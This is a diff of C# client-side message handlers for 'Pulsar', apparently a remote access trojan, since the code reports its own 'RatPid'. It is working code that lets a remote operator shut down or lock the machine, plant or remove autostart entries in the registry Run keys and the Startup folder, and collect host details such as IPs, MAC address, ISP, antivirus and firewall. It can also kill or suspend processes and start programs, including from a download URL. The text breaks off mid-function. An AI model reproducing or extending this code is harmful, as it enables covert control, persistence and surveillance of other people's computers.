using System.Diagnostics;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security;
|
||||
using System.Security.Principal;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Pulsar.Client.Messages
|
||||
{
|
||||
public class ShutdownHandler : IMessageProcessor
|
||||
{
|
||||
public bool CanExecute(IMessage message) => message is DoShutdownAction;
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
if (message is DoShutdownAction msg)
|
||||
Execute(sender, msg);
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoShutdownAction message)
|
||||
{
|
||||
try
|
||||
{
|
||||
switch (message.Action)
|
||||
{
|
||||
case ShutdownAction.Shutdown:
|
||||
client.Send(new SetStatus { Message = "Client is shutting down..." });
|
||||
if (!EnableShutdownPrivilege() || !ExitWindowsEx(ExitWindows.ShutDown | ExitWindows.ForceIfHung, 0))
|
||||
{
|
||||
// Fallback to shutdown.exe if native API fails
|
||||
Process.Start(new ProcessStartInfo
|
||||
{
|
||||
FileName = "shutdown",
|
||||
Arguments = "/s /t 0",
|
||||
WindowStyle = ProcessWindowStyle.Hidden,
|
||||
CreateNoWindow = true,
|
||||
UseShellExecute = true
|
||||
});
|
||||
}
|
||||
break;
|
||||
|
||||
case ShutdownAction.Restart:
|
||||
client.Send(new SetStatus { Message = "Client is restarting..." });
|
||||
if (!EnableShutdownPrivilege() || !ExitWindowsEx(ExitWindows.Reboot | ExitWindows.ForceIfHung, 0))
|
||||
{
|
||||
// Fallback to shutdown.exe if native API fails
|
||||
Process.Start(new ProcessStartInfo
|
||||
{
|
||||
FileName = "shutdown",
|
||||
Arguments = "/r /t 0",
|
||||
WindowStyle = ProcessWindowStyle.Hidden,
|
||||
CreateNoWindow = true,
|
||||
UseShellExecute = true
|
||||
});
|
||||
}
|
||||
break;
|
||||
|
||||
case ShutdownAction.Standby:
|
||||
client.Send(new SetStatus { Message = "Client entering standby mode..." });
|
||||
if (!SetSuspendState(false, true, true))
|
||||
client.Send(new SetStatus { Message = "Standby request failed." });
|
||||
break;
|
||||
|
||||
case ShutdownAction.Lockscreen:
|
||||
client.Send(new SetStatus { Message = "Client screen is being locked..." });
|
||||
if (!LockWorkStation())
|
||||
client.Send(new SetStatus { Message = "LockWorkStation failed, fallback unavailable." });
|
||||
break;
|
||||
|
||||
default:
|
||||
client.Send(new SetStatus { Message = "Unknown shutdown action requested." });
|
||||
break;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
client.Send(new SetStatus { Message = $"Shutdown action failed: {ex.Message}" });
|
||||
}
|
||||
}
|
||||
|
||||
#region Native interop
|
||||
|
||||
[Flags]
|
||||
private enum ExitWindows : uint
|
||||
{
|
||||
LogOff = 0x00000000,
|
||||
ShutDown = 0x00000001,
|
||||
Reboot = 0x00000002,
|
||||
PowerOff = 0x00000008,
|
||||
ForceIfHung = 0x00000010,
|
||||
Force = 0x00000004
|
||||
}
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
private static extern bool ExitWindowsEx(ExitWindows uFlags, uint dwReason);
|
||||
|
||||
[DllImport("powrprof.dll", SetLastError = true)]
|
||||
private static extern bool SetSuspendState(bool hibernate, bool forceCritical, bool disableWakeEvent);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
private static extern bool LockWorkStation();
|
||||
|
||||
// Token / privilege APIs
|
||||
private const string SE_SHUTDOWN_NAME = "SeShutdownPrivilege";
|
||||
private const uint SE_PRIVILEGE_ENABLED = 0x00000002;
|
||||
private const int TOKEN_ADJUST_PRIVILEGES = 0x0020;
|
||||
private const int TOKEN_QUERY = 0x0008;
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, Pack = 1)]
|
||||
private struct LUID
|
||||
{
|
||||
public uint LowPart;
|
||||
public int HighPart;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct LUID_AND_ATTRIBUTES
|
||||
{
|
||||
public LUID Luid;
|
||||
public uint Attributes;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct TOKEN_PRIVILEGES
|
||||
{
|
||||
public uint PrivilegeCount;
|
||||
public LUID_AND_ATTRIBUTES Privileges;
|
||||
}
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
private static extern bool OpenProcessToken(IntPtr ProcessHandle, int DesiredAccess, out IntPtr TokenHandle);
|
||||
|
||||
[DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
private static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, out LUID lpLuid);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
private static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges,
|
||||
ref TOKEN_PRIVILEGES NewState, int BufferLength, IntPtr PreviousState, IntPtr ReturnLength);
|
||||
|
||||
private static bool EnableShutdownPrivilege()
|
||||
{
|
||||
if (!IsAdministrator())
|
||||
return false;
|
||||
|
||||
if (!OpenProcessToken(Process.GetCurrentProcess().Handle, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, out var tokenHandle))
|
||||
return false;
|
||||
|
||||
try
|
||||
{
|
||||
if (!LookupPrivilegeValue(null, SE_SHUTDOWN_NAME, out var luid))
|
||||
return false;
|
||||
|
||||
var tp = new TOKEN_PRIVILEGES
|
||||
{
|
||||
PrivilegeCount = 1,
|
||||
Privileges = new LUID_AND_ATTRIBUTES
|
||||
{
|
||||
Luid = luid,
|
||||
Attributes = SE_PRIVILEGE_ENABLED
|
||||
}
|
||||
};
|
||||
|
||||
if (!AdjustTokenPrivileges(tokenHandle, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero))
|
||||
return false;
|
||||
|
||||
// AdjustTokenPrivileges returns true even when it fails to enable; check last error
|
||||
return Marshal.GetLastWin32Error() == 0;
|
||||
}
|
||||
finally
|
||||
{
|
||||
CloseHandle(tokenHandle);
|
||||
}
|
||||
}
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
private static extern bool CloseHandle(IntPtr hObject);
|
||||
|
||||
private static bool IsAdministrator()
|
||||
{
|
||||
try
|
||||
{
|
||||
using (var id = WindowsIdentity.GetCurrent())
|
||||
{
|
||||
var wp = new WindowsPrincipal(id);
|
||||
return wp.IsInRole(WindowsBuiltInRole.Administrator);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
private static void ThrowLastWin32Error(string message)
|
||||
{
|
||||
var err = new Win32Exception(Marshal.GetLastWin32Error());
|
||||
throw new InvalidOperationException($"{message}: {err.Message}");
|
||||
}
|
||||
|
||||
#endregion
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,267 @@
|
||||
using Microsoft.Win32;
|
||||
using Pulsar.Client.Extensions;
|
||||
using Pulsar.Client.Helper;
|
||||
using Pulsar.Common.Enums;
|
||||
using Pulsar.Common.Helpers;
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Messages.Administration.StartupManager;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Networking;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
|
||||
namespace Pulsar.Client.Messages
|
||||
{
|
||||
public class StartupManagerHandler : IMessageProcessor
|
||||
{
|
||||
public bool CanExecute(IMessage message) => message is GetStartupItems ||
|
||||
message is DoStartupItemAdd ||
|
||||
message is DoStartupItemRemove;
|
||||
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case GetStartupItems msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
case DoStartupItemAdd msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
case DoStartupItemRemove msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, GetStartupItems message)
|
||||
{
|
||||
try
|
||||
{
|
||||
List<Common.Models.StartupItem> startupItems = new List<Common.Models.StartupItem>();
|
||||
|
||||
using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"))
|
||||
{
|
||||
if (key != null)
|
||||
{
|
||||
foreach (var item in key.GetKeyValues())
|
||||
{
|
||||
startupItems.Add(new Common.Models.StartupItem
|
||||
{ Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRun });
|
||||
}
|
||||
}
|
||||
}
|
||||
using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce"))
|
||||
{
|
||||
if (key != null)
|
||||
{
|
||||
foreach (var item in key.GetKeyValues())
|
||||
{
|
||||
startupItems.Add(new Common.Models.StartupItem
|
||||
{ Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRunOnce });
|
||||
}
|
||||
}
|
||||
}
|
||||
using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"))
|
||||
{
|
||||
if (key != null)
|
||||
{
|
||||
foreach (var item in key.GetKeyValues())
|
||||
{
|
||||
startupItems.Add(new Common.Models.StartupItem
|
||||
{ Name = item.Item1, Path = item.Item2, Type = StartupType.CurrentUserRun });
|
||||
}
|
||||
}
|
||||
}
|
||||
using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce"))
|
||||
{
|
||||
if (key != null)
|
||||
{
|
||||
foreach (var item in key.GetKeyValues())
|
||||
{
|
||||
startupItems.Add(new Common.Models.StartupItem
|
||||
{ Name = item.Item1, Path = item.Item2, Type = StartupType.CurrentUserRunOnce });
|
||||
}
|
||||
}
|
||||
}
|
||||
using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run"))
|
||||
{
|
||||
if (key != null)
|
||||
{
|
||||
foreach (var item in key.GetKeyValues())
|
||||
{
|
||||
startupItems.Add(new Common.Models.StartupItem
|
||||
{ Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRunX86 });
|
||||
}
|
||||
}
|
||||
}
|
||||
using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce"))
|
||||
{
|
||||
if (key != null)
|
||||
{
|
||||
foreach (var item in key.GetKeyValues())
|
||||
{
|
||||
startupItems.Add(new Common.Models.StartupItem
|
||||
{ Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRunOnceX86 });
|
||||
}
|
||||
}
|
||||
}
|
||||
if (Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup)))
|
||||
{
|
||||
var files = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.Startup)).GetFiles();
|
||||
|
||||
startupItems.AddRange(files.Where(file => file.Name != "desktop.ini").Select(file => new Common.Models.StartupItem
|
||||
{ Name = file.Name, Path = file.FullName, Type = StartupType.StartMenu }));
|
||||
}
|
||||
|
||||
client.Send(new GetStartupItemsResponse { StartupItems = startupItems });
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
client.Send(new SetStatus { Message = $"Getting Autostart Items failed: {ex.Message}" });
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoStartupItemAdd message)
|
||||
{
|
||||
try
|
||||
{
|
||||
switch (message.StartupItem.Type)
|
||||
{
|
||||
case StartupType.LocalMachineRun:
|
||||
if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine,
|
||||
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name, message.StartupItem.Path, true))
|
||||
{
|
||||
throw new Exception("Could not add value");
|
||||
}
|
||||
break;
|
||||
case StartupType.LocalMachineRunOnce:
|
||||
if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine,
|
||||
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name, message.StartupItem.Path, true))
|
||||
{
|
||||
throw new Exception("Could not add value");
|
||||
}
|
||||
break;
|
||||
case StartupType.CurrentUserRun:
|
||||
if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser,
|
||||
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name, message.StartupItem.Path, true))
|
||||
{
|
||||
throw new Exception("Could not add value");
|
||||
}
|
||||
break;
|
||||
case StartupType.CurrentUserRunOnce:
|
||||
if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser,
|
||||
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name, message.StartupItem.Path, true))
|
||||
{
|
||||
throw new Exception("Could not add value");
|
||||
}
|
||||
break;
|
||||
case StartupType.LocalMachineRunX86:
|
||||
if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine,
|
||||
"SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name, message.StartupItem.Path, true))
|
||||
{
|
||||
throw new Exception("Could not add value");
|
||||
}
|
||||
break;
|
||||
case StartupType.LocalMachineRunOnceX86:
|
||||
if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine,
|
||||
"SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name, message.StartupItem.Path, true))
|
||||
{
|
||||
throw new Exception("Could not add value");
|
||||
}
|
||||
break;
|
||||
case StartupType.StartMenu:
|
||||
if (!Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup)))
|
||||
{
|
||||
Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.Startup));
|
||||
}
|
||||
|
||||
string lnkPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup),
|
||||
message.StartupItem.Name + ".url");
|
||||
|
||||
using (var writer = new StreamWriter(lnkPath, false))
|
||||
{
|
||||
writer.WriteLine("[InternetShortcut]");
|
||||
writer.WriteLine("URL=file:///" + message.StartupItem.Path);
|
||||
writer.WriteLine("IconIndex=0");
|
||||
writer.WriteLine("IconFile=" + message.StartupItem.Path.Replace('\\', '/'));
|
||||
writer.Flush();
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
client.Send(new SetStatus { Message = $"Adding Autostart Item failed: {ex.Message}" });
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoStartupItemRemove message)
|
||||
{
|
||||
try
|
||||
{
|
||||
switch (message.StartupItem.Type)
|
||||
{
|
||||
case StartupType.LocalMachineRun:
|
||||
if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine,
|
||||
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name))
|
||||
{
|
||||
throw new Exception("Could not remove value");
|
||||
}
|
||||
break;
|
||||
case StartupType.LocalMachineRunOnce:
|
||||
if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine,
|
||||
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name))
|
||||
{
|
||||
throw new Exception("Could not remove value");
|
||||
}
|
||||
break;
|
||||
case StartupType.CurrentUserRun:
|
||||
if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser,
|
||||
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name))
|
||||
{
|
||||
throw new Exception("Could not remove value");
|
||||
}
|
||||
break;
|
||||
case StartupType.CurrentUserRunOnce:
|
||||
if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser,
|
||||
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name))
|
||||
{
|
||||
throw new Exception("Could not remove value");
|
||||
}
|
||||
break;
|
||||
case StartupType.LocalMachineRunX86:
|
||||
if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine,
|
||||
"SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name))
|
||||
{
|
||||
throw new Exception("Could not remove value");
|
||||
}
|
||||
break;
|
||||
case StartupType.LocalMachineRunOnceX86:
|
||||
if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine,
|
||||
"SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name))
|
||||
{
|
||||
throw new Exception("Could not remove value");
|
||||
}
|
||||
break;
|
||||
case StartupType.StartMenu:
|
||||
string startupItemPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), message.StartupItem.Name);
|
||||
|
||||
if (!File.Exists(startupItemPath))
|
||||
throw new IOException("File does not exist");
|
||||
|
||||
File.Delete(startupItemPath);
|
||||
break;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
client.Send(new SetStatus { Message = $"Removing Autostart Item failed: {ex.Message}" });
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,76 @@
|
||||
using Pulsar.Client.Helper;
|
||||
using Pulsar.Client.IpGeoLocation;
|
||||
using Pulsar.Client.User;
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Networking;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Net.NetworkInformation;
|
||||
using Pulsar.Client.IO;
|
||||
using Pulsar.Common.Messages.Administration.SystemInfo;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Client.Messages
|
||||
{
|
||||
public class SystemInformationHandler : IMessageProcessor
|
||||
{
|
||||
public bool CanExecute(IMessage message) => message is GetSystemInfo;
|
||||
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case GetSystemInfo msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, GetSystemInfo message)
|
||||
{
|
||||
try
|
||||
{
|
||||
IPGlobalProperties properties = IPGlobalProperties.GetIPGlobalProperties();
|
||||
|
||||
var domainName = (!string.IsNullOrEmpty(properties.DomainName)) ? properties.DomainName : "-";
|
||||
var hostName = (!string.IsNullOrEmpty(properties.HostName)) ? properties.HostName : "-";
|
||||
|
||||
var geoInfo = GeoInformationFactory.GetGeoInformation();
|
||||
var userAccount = new UserAccount();
|
||||
string defaultBrowser = SystemHelper.GetDefaultBrowser();
|
||||
|
||||
List<Tuple<string, string>> lstInfos = new List<Tuple<string, string>>
|
||||
{
|
||||
new Tuple<string, string>("Processor (CPU)", HardwareDevices.CpuName),
|
||||
new Tuple<string, string>("Memory (RAM)", $"{HardwareDevices.TotalPhysicalMemory} MB"),
|
||||
new Tuple<string, string>("Video Card (GPU)", HardwareDevices.GpuNames),
|
||||
new Tuple<string, string>("Username", userAccount.UserName),
|
||||
new Tuple<string, string>("PC Name", SystemHelper.GetPcName()),
|
||||
new Tuple<string, string>("Domain Name", domainName),
|
||||
new Tuple<string, string>("Host Name", hostName),
|
||||
new Tuple<string, string>("System Drive", Path.GetPathRoot(Environment.SystemDirectory)),
|
||||
new Tuple<string, string>("System Directory", Environment.SystemDirectory),
|
||||
new Tuple<string, string>("Uptime", SystemHelper.GetUptime()),
|
||||
new Tuple<string, string>("MAC Address", HardwareDevices.MacAddress),
|
||||
new Tuple<string, string>("LAN IP Address", HardwareDevices.LanIpAddress),
|
||||
new Tuple<string, string>("WAN IP Address", geoInfo.IpAddress),
|
||||
new Tuple<string, string>("ASN", geoInfo.Asn),
|
||||
new Tuple<string, string>("ISP", geoInfo.Isp),
|
||||
new Tuple<string, string>("Antivirus", SystemHelper.GetAntivirus()),
|
||||
new Tuple<string, string>("Firewall", SystemHelper.GetFirewall()),
|
||||
new Tuple<string, string>("Time Zone", geoInfo.Timezone),
|
||||
new Tuple<string, string>("Country", geoInfo.Country),
|
||||
new Tuple<string, string>("Default Browser", defaultBrowser)
|
||||
};
|
||||
|
||||
client.Send(new GetSystemInfoResponse { SystemInfos = lstInfos });
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,440 @@
|
||||
using Pulsar.Client.Networking;
|
||||
using Pulsar.Client.Setup;
|
||||
using Pulsar.Client.Helper;
|
||||
using Pulsar.Common;
|
||||
using Pulsar.Common.Enums;
|
||||
using Pulsar.Common.Helpers;
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Messages.Administration.TaskManager;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Networking;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Management;
|
||||
using System.Net;
|
||||
using System.Reflection;
|
||||
using System.Threading;
|
||||
|
||||
namespace Pulsar.Client.Messages
|
||||
{
|
||||
public class TaskManagerHandler : IMessageProcessor, IDisposable
|
||||
{
|
||||
private readonly PulsarClient _client;
|
||||
private readonly WebClient _webClient;
|
||||
|
||||
public TaskManagerHandler(PulsarClient client)
|
||||
{
|
||||
_client = client;
|
||||
_client.ClientState += OnClientStateChange;
|
||||
_webClient = new WebClient { Proxy = null };
|
||||
_webClient.DownloadDataCompleted += OnDownloadDataCompleted;
|
||||
}
|
||||
|
||||
private void OnClientStateChange(Networking.Client s, bool connected)
|
||||
{
|
||||
if (!connected && _webClient.IsBusy) _webClient.CancelAsync();
|
||||
}
|
||||
|
||||
public bool CanExecute(IMessage message) =>
|
||||
message is GetProcesses ||
|
||||
message is DoProcessStart ||
|
||||
message is DoProcessEnd ||
|
||||
message is DoProcessDump ||
|
||||
message is DoSetTopMost ||
|
||||
message is DoSuspendProcess ||
|
||||
message is DoSetWindowState;
|
||||
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
private void SendStatus(string message)
|
||||
{
|
||||
try { _client.Send(new SetStatus { Message = message }); }
|
||||
catch { }
|
||||
}
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case GetProcesses msg: Execute(sender, msg); break;
|
||||
case DoProcessStart msg: Execute(sender, msg); break;
|
||||
case DoProcessEnd msg: Execute(sender, msg); break;
|
||||
case DoProcessDump msg: Execute(sender, msg); break;
|
||||
case DoSuspendProcess msg: Execute(sender, msg); break;
|
||||
case DoSetTopMost msg: Execute(sender, msg); break;
|
||||
case DoSetWindowState msg: Execute(sender, msg); break;
|
||||
}
|
||||
}
|
||||
private void Execute(ISender client, DoProcessEnd message)
|
||||
{
|
||||
try
|
||||
{
|
||||
Process proc = Process.GetProcessById(message.Pid);
|
||||
if (proc != null)
|
||||
{
|
||||
proc.Kill();
|
||||
client.Send(new DoProcessResponse { Action = ProcessAction.End, Result = true });
|
||||
SendStatus($"Process PID {message.Pid} ({proc.ProcessName}) successfully terminated");
|
||||
}
|
||||
else
|
||||
{
|
||||
client.Send(new DoProcessResponse { Action = ProcessAction.End, Result = false });
|
||||
SendStatus($"Kill failed: PID {message.Pid} not found");
|
||||
}
|
||||
}
|
||||
catch (System.ComponentModel.Win32Exception ex)
|
||||
{
|
||||
// Happens when user lacks privileges to terminate the process
|
||||
client.Send(new DoProcessResponse { Action = ProcessAction.End, Result = false });
|
||||
SendStatus($"Kill failed for PID {message.Pid}: Access denied (admin privileges required). {ex.Message}");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
client.Send(new DoProcessResponse { Action = ProcessAction.End, Result = false });
|
||||
SendStatus($"Kill failed for PID {message.Pid}: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------- WINDOW HANDLERS ----------------------
|
||||
private void Execute(ISender client, DoSuspendProcess message)
|
||||
{
|
||||
try
|
||||
{
|
||||
Process proc = Process.GetProcessById(message.Pid);
|
||||
if (proc != null)
|
||||
{
|
||||
if (message.Suspend)
|
||||
Utilities.NativeMethods.NtSuspendProcess(proc.Handle);
|
||||
else
|
||||
Utilities.NativeMethods.NtResumeProcess(proc.Handle); // <--- process-level resume
|
||||
|
||||
client.Send(new DoProcessResponse
|
||||
{
|
||||
Action = ProcessAction.Suspend,
|
||||
Result = true
|
||||
});
|
||||
|
||||
SendStatus($"Process PID {message.Pid} {(message.Suspend ? "suspended" : "resumed")}");
|
||||
}
|
||||
else
|
||||
{
|
||||
client.Send(new DoProcessResponse
|
||||
{
|
||||
Action = ProcessAction.Suspend,
|
||||
Result = false
|
||||
});
|
||||
|
||||
SendStatus($"Process PID {message.Pid} not found");
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
client.Send(new DoProcessResponse
|
||||
{
|
||||
Action = ProcessAction.Suspend,
|
||||
Result = false
|
||||
});
|
||||
|
||||
SendStatus($"Failed to {(message.Suspend ? "suspend" : "resume")} PID {message.Pid}");
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
private void Execute(ISender client, DoSetWindowState message)
|
||||
{
|
||||
try
|
||||
{
|
||||
Process proc = Process.GetProcessById(message.Pid);
|
||||
if (proc == null || proc.MainWindowHandle == IntPtr.Zero)
|
||||
{
|
||||
client.Send(new DoProcessResponse { Action = ProcessAction.None, Result = false });
|
||||
SendStatus($"SetWindowState failed: PID {message.Pid} not found or has no main window");
|
||||
return;
|
||||
}
|
||||
|
||||
int nCmd = message.Minimize ? 6 : 9;
|
||||
bool result = Utilities.NativeMethods.ShowWindow(proc.MainWindowHandle, nCmd);
|
||||
|
||||
if (result)
|
||||
SendStatus($"Window {(message.Minimize ? "minimized" : "restored")} for PID {message.Pid}");
|
||||
else
|
||||
SendStatus($"SetWindowState failed for PID {message.Pid}: Access denied or higher privilege required");
|
||||
|
||||
client.Send(new DoProcessResponse { Action = ProcessAction.None, Result = result });
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
client.Send(new DoProcessResponse { Action = ProcessAction.None, Result = false });
|
||||
SendStatus($"SetWindowState failed for PID {message.Pid}: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoSetTopMost message)
|
||||
{
|
||||
try
|
||||
{
|
||||
Process proc = Process.GetProcessById(message.Pid);
|
||||
if (proc == null || proc.MainWindowHandle == IntPtr.Zero)
|
||||
{
|
||||
client.Send(new DoProcessResponse { Action = ProcessAction.SetTopMost, Result = false });
|
||||
SendStatus($"SetTopMost failed: PID {message.Pid} not found or has no main window");
|
||||
return;
|
||||
}
|
||||
|
||||
const int HWND_TOPMOST = -1;
|
||||
const int HWND_NOTOPMOST = -2;
|
||||
const uint SWP_NOSIZE = 0x0001;
|
||||
const uint SWP_NOMOVE = 0x0002;
|
||||
const uint SWP_SHOWWINDOW = 0x0040;
|
||||
|
||||
Utilities.NativeMethods.SetForegroundWindow(proc.MainWindowHandle);
|
||||
if (Utilities.NativeMethods.IsIconic(proc.MainWindowHandle))
|
||||
Utilities.NativeMethods.ShowWindow(proc.MainWindowHandle, 9);
|
||||
|
||||
IntPtr hWndInsertAfter = new IntPtr(message.Enable ? HWND_TOPMOST : HWND_NOTOPMOST);
|
||||
bool result = Utilities.NativeMethods.SetWindowPos(
|
||||
proc.MainWindowHandle,
|
||||
hWndInsertAfter,
|
||||
0, 0, 0, 0,
|
||||
SWP_NOMOVE | SWP_NOSIZE | SWP_SHOWWINDOW
|
||||
);
|
||||
|
||||
if (result)
|
||||
SendStatus($"TopMost {(message.Enable ? "enabled" : "disabled")} for PID {message.Pid}");
|
||||
else
|
||||
SendStatus($"SetTopMost failed for PID {message.Pid}: Access denied or higher privilege required");
|
||||
|
||||
client.Send(new DoProcessResponse { Action = ProcessAction.SetTopMost, Result = result });
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
client.Send(new DoProcessResponse { Action = ProcessAction.SetTopMost, Result = false });
|
||||
SendStatus($"SetTopMost failed for PID {message.Pid}: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------- PROCESS HANDLERS ----------------------
|
||||
|
||||
private void Execute(ISender client, GetProcesses message)
|
||||
{
|
||||
Process[] pList = Process.GetProcesses();
|
||||
var processes = new Common.Models.Process[pList.Length];
|
||||
var parentMap = GetParentProcessMap();
|
||||
|
||||
for (int i = 0; i < pList.Length; i++)
|
||||
{
|
||||
processes[i] = new Common.Models.Process
|
||||
{
|
||||
Name = pList[i].ProcessName + ".exe",
|
||||
Id = pList[i].Id,
|
||||
MainWindowTitle = pList[i].MainWindowTitle,
|
||||
ParentId = parentMap.TryGetValue(pList[i].Id, out var parentId) ? parentId : null
|
||||
};
|
||||
}
|
||||
|
||||
int currentPid = Process.GetCurrentProcess().Id;
|
||||
client.Send(new GetProcessesResponse { Processes = processes, RatPid = currentPid });
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoProcessStart message)
|
||||
{
|
||||
SendStatus($"Starting process: {message.FilePath ?? message.DownloadUrl}");
|
||||
|
||||
